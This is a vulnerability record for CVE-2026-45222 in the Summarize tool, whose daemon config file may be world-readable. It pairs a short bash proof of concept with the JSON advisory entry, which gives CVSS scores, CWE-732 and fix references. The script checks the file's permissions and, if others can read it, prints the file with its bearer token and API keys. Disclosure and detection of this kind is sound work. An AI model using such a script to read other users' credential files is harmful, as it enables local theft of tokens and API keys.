CVE-2026-45222

#!/bin/bash # PoC: Check if Summarize daemon config is world-readable CONFIG_FILE="$HOME/.summarize/daemon.json" if [ -f "$CONFIG_FILE" ]; then # Get file permissions in octal format PERMS=$(stat -c "%a" "$CONFIG_FILE" 2>/dev/null) echo "[+] Found configuration file: $CONFIG_FILE" echo "[+] Current permissions: $PERMS" # Check if file is readable by others (permission 4 in the last digit) # e.g., 644 -> readable by others LAST_DIGIT=${PERMS: -1} if [ "$LAST_DIGIT" -ge 4 ]; then echo "[!] VULNERABLE: File is readable by others!" echo "[!] Content of the file:" cat "$CONFIG_FILE" else echo "[.] File permissions seem secure (not world-readable)." fi else echo "[-] Configuration file not found at $CONFIG_FILE" fi

{"cve": {"id": "CVE-2026-45222", "sourceIdentifier": "[email protected]", "published": "2026-05-11T19:16:27.313", "lastModified": "2026-05-11T20:25:47.227", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Summarize versions through 0.14.1, fixed in commit 0cfb0fb, creates the daemon configuration directory and file with default filesystem permissions that may be world-readable on Unix-like systems, allowing local attackers to read bearer tokens and API credentials stored in ~/.summarize/daemon.json. A local attacker can exploit these permissive permissions to read the daemon bearer token and persisted provider credentials, enabling unauthorized access to the daemon or recovery of sensitive API keys."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://github.com/steipete/summarize/commit/0cfb0fb99777a87a7b02082b5e4bd449f8dd6175", "source": "[email protected]"}, {"url": "https://github.com/steipete/summarize/pull/214", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/summarize-insecure-daemon-configuration-file-permissions", "source": "[email protected]"}, {"url": "https://github.com/steipete/summarize/pull/214", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}